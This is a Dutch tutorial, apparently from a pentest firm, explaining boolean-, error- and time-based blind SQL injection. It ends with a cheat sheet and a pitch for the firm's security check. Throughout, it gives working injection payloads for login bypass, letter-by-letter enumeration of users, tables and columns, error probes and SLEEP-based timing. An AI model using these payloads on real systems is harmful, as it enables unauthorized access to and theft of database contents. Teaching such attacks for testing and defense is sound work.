Blind SQL injection is een vorm van SQL injection waarbij de aanvaller niet direct response krijgt van de server. De aanvaller is dus “blind”. Bij een SQL injectie voert de aanvaller een database-query in bijvoorbeeld een invoerveld waarmee deze een applicatie kan beïnvloeden. Hierdoor kan een aanvaller willekeurige informatie uit de database lezen. Maar wat als het resultaat niet direct op het scherm wordt weergegeven? Met blind SQL injections is het mogelijk om toch informatie te achterhalen. SQL injecties komen relatief veel voor, waardoor het op plaats 3 van de OWASP top 10 staat.
Soms komt het voor dat de applicatie wel kwetsbaar is voor SQL-injectie, maar het resultaat niet teruggeeft. In dit geval is het voor een aanvaller moeilijker om informatie te achterhalen, omdat het resultaat niet getoond wordt. Dit noemen we blind SQL injection, omdat we de data niet kunnen zien. Het bekendste voorbeeld van een blind SQL injectie is om bij een inlogveld ' or '1'='1
in te vullen bij zowel de username als het wachtwoord. Is de applicatie lek, dan ben je ingelogd omdat 1 altijd gelijk is aan 1.
Boolean based
Afhankelijk van de response kunnen we afleiden of de check geslaagd is: we worden wel of niet ingelogd. Om deze reden noemen we dit een boolean based blind SQL injection. Omdat we bij een check kunnen bepalen of deze wel of niet slaagt, kunnen we dit in ons voordeel gebruiken. Hoewel het handig is dat we ingelogd kunnen worden, is het ook mogelijk om informatie uit de database te halen.
Het doel is verschillende responses voor “ja” en “nee” antwoorden op de vraag, die we de database over de inhoud hebben gesteld, te krijgen. Bestaat er een gebruiker met de naam “admin” in de users tabel? Bestaat de users tabel überhaupt wel? We kunnen zelfs letter voor letter de hele database enumereren. Zijn er gebruikersnamen die beginnen met een “a”? Als dit lukt met “aa”, en als dit ook lukt met “aaa”. Lukt dit niet en krijgen we een error, dan proberen we “aab”, net zo lang totdat de check slaagt en we de volgende letter kunnen proberen.
De volgende aanvallen zouden gebruikt kunnen worden:
' or 1 in (select 1 from users where username like 'a%');-- #ingelogd, dus gebruiker met a% bestaat
' or 1 in (select 1 from users where username like 'a%');-- #ingelogd, dus gebruiker met a% bestaat
' or 1 in (select 1 from users where username like 'aa%');-- #ingelogd, dus gebruiker met aa% bestaat
' or 1 in (select 1 from users where username like 'aaa%');-- #foutmelding, dus geen gebruiker met aaa
' or 1 in (select 1 from users where username like 'aab%');-- #foutmelding, op naar aac
Zoals je ziet zijn er vrij veel pogingen nodig om informatie te achterhalen. Voor een korte gebruikersnaam zoals “alfred” zullen we op deze manier in het uiterste geval 182 requests doen om deze te achterhalen. In de praktijk worden deze aanvallen vaak gescript, of er wordt gebruik gemaakt van SQLMap, die deze aanvallen out-of-the-box kan uitvoeren. Een andere mogelijkheid is Burp Suite, waar er met de Intruder snel verschillende combinaties uitgevoerd kunnen worden.
We hebben in het bovenstaande voorbeeld de aanname gedaan dat de tabel “users” bestaat en dat daar een kolom “username” in zit. Hoewel dit niet ongebruikelijk is, kan het ook iets heel anders zijn. Dit doen we op dezelfde manier:
' or 1 in (SELECT 1 FROM information_schema.TABLES WHERE TABLE_NAME like "u%");--
' or 1 in (SELECT 1 FROM information_schema.TABLES WHERE TABLE_NAME like "us%");--
Hoe werkt een error based blind SQL injection?
Soms geeft een kwetsbaar component in zijn geheel geen response terug, of altijd dezelfde response. In dat geval kunnen we proberen om de applicatie een andere error te laten genereren. Veel applicaties geven een andere response wanneer er een database-error plaatsvindt. We kunnen dit testen door het volgende te proberen:
' or 1=0;--
' or 1=1;--
' or 1=1/0;--
Bij de laatste poging zal de database proberen te delen door 0, wat resulteert in “Divide by zero error”. Als de applicatie bij de laatste variant een (andere) foutmelding geeft, en bij de eerdere twee niet, dan is de applicatie kwetsbaar voor een error based blind SQL injection. Ook hiermee kunnen we informatie uit de database halen. Dit doen we als volgt:
' or 1=(SELECT CASE WHEN (TABLE_NAME='users') THEN 1/0 ELSE 1 END FROM information_schema.TABLES);
Als we nu een error krijgen, weten we dat de tabel “users” bestaat.
Time-Based
In sommige gevallen krijgen we geen errors terug en worden database errors netjes afgehandeld. Hierdoor kunnen we nergens uit af leiden of onze query geslaagd was. Het laatste redmiddel voor de aanvaller is dan de time-based blind SQL injection. Een aanvaller kan hiervoor testen door het volgende te proberen:
' or sleep(5);--
Als de applicatie nu pas na 5 seconden reageert, dan is de applicatie kwetsbaar. De aanvaller kan nu controleren of de ‘users’ tabel bestaat op de volgende manier:
' or 1=(SELECT CASE WHEN (TABLE_NAME='users') THEN SLEEP(5) ELSE 1 END FROM information_schema.TABLES)
Als de tabel bestaat, dan reageert de applicatie pas na 5 seconden en anders direct.
Eerder hebben we gezien dat we ook tabellen kunnen enumereren, dit werkt op dezelfde manier met time based SQL injections:
' or 1=(SELECT CASE WHEN (TABLE_NAME LIKE 'a%') THEN SLEEP(5) ELSE 1 END FROM information_schema.TABLES);--
' or 1=(SELECT CASE WHEN (TABLE_NAME LIKE 'b%') THEN SLEEP(5) ELSE 1 END FROM information_schema.TABLES);--
' or 1=(SELECT CASE WHEN (TABLE_NAME LIKE 'c%') THEN SLEEP(5) ELSE 1 END FROM information_schema.TABLES);--
We herhalen dezelfde stappen als toen, waar we doorgaan op een positief resultaat. Dus als er een TABLE_NAME LIKE “a%” is gaan we kijken of er een TABLE_NAME LIKE “aa%” is, enzovoort. Uiteindelijk heb je op deze manier alle tabel namen aan de database ontfutseld, door ze letter voor letter uit de database te peuteren. Nu dat de tabel namen bekend zijn kunnen de kolom namen van een tabel op dezelfde manier worden geënumereerd.
' or 1=(SELECT CASE WHEN (TABLE_NAME = 'users' AND COLUMN_NAME LIKE 'a%') THEN SLEEP(5) ELSE 1 END FROM information_schema.COLUMNS);--
Als de kolom namen van een tabel bekend zijn kan specifieke data uit de tabel worden opgevraagd.
' or 1=(SELECT CASE WHEN (username LIKE 'a%') THEN SLEEP(5) ELSE 1 END FROM users);--
Dit moet gedaan worden voor elke tabel, kolom, en waarde in de database om de database te kunnen reconstrueren.
Aanvallers kunnen bijna altijd informatie uit de database halen als deze kwetsbaar is voor SQL injection. Het maakt hierbij niet uit of het resultaat getoond wordt of niet. Wilt u weten of uw applicaties veilig zijn voor SQL injections? Bij de Website security check en de Pentest controleren we uitgebreid op dergelijke kwetsbaarheden.
Blind SQL injection Cheat Sheet
Hieronder staat een aantal handige cheat sheet om informatie uit de database te halen middels een blind SQL injection.
Versie van de database | Boolean based:AND 1 in (SELECT 1 FROM DUAL WHERE @@version LIKE "1%")
Error based: Time based: |
Verschillende manieren van een comment maken | SELECT 1; #comment
|
De huidige database gebruiker | Boolean based:AND 1 in (SELECT 1 FROM DUAL WHERE user() LIKE "a%")
Error based: Time based: |
Naam van de huidige database | Boolean based:AND 1 in (SELECT 1 FROM DUAL WHERE database() LIKE "a%")
Error based: Time based: |
Database namen | Boolean based:AND 1 in (SELECT 1 FROM information_schema.SCHEMATA WHERE SCHEMA_NAME LIKE "a%")
Error based: Time based: |
Kolom namen | Boolean based:AND 1 in (SELECT 1 FROM information_schema.COLUMNS WHERE TABLE_NAME = 'TABEL' AND COLUMN_NAME LIKE "a%")
Error based: Time based: |
Tabel namen | Boolean based:AND 1 in (SELECT 1 FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'DATABASE' AND TABLE_NAME LIKE "a%")
Error based: Time based: |
Vind een table door te zoeken naar een specifieke kolom | Boolean based:AND 1 in (SELECT 1 FROM information_schema.COLUMNS WHERE COLUMN_NAME = 'KOLOMNAAM' AND TABLE_NAME LIKE "a%");
Error based: Time based: |
IF en Case statements | AND 1=(SELECT if(CONDITIE, 1/0, 1));
|
Alternatief voor speciale tekens | SELECT 0x4379626572416e74; #in plaats van CyberAnt
|
Sleep | SELECT BENCHMARK(100000,MD5('CyberAnt')); #doet tijdrovende benchmark
|
Hostname en locatie database | Boolean based:AND 1 in (SELECT 1 FROM DUAL WHERE @@hostname LIKE "a%");
Error based: Time based: |